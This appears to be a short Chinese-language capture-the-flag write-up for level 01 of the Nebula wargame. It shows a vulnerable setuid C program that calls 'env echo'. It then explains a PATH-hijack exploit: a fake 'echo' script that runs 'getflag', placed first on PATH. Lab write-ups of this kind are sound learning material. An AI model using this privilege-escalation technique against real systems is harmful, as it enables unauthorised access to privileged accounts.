nebula 01

来源:互联网 发布:读写分离 mysql原理 编辑:程序博客网 时间:2024/05/10 00:25

这一关是找出一个程序可以执行任意程序的漏洞

 1#include <stdlib.h> 2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6 7int main(int argc, char **argv, char **envp) 8{ 9  gid_t gid;10  uid_t uid;11  gid = getegid();12  uid = geteuid();1314  setresgid(gid, gid, gid);15  setresuid(uid, uid, uid);1617  system("/usr/bin/env echo and now what?");18}
问题出在/usr/bin/env这个命令,用这个命令启动后面的shell命令

在自己的主目录建立一个叫echo的脚本,想执行什么就写什么,然后权限设置为可执行,接下来把当前目录加到PATH环境变量的最前端

export PATH=/home/level01/:$PATH

然后执行这个程序,就可以调到我们的假的echo命令了

echo:

#!/bin/bash

getflag

0 0
原创粉丝点击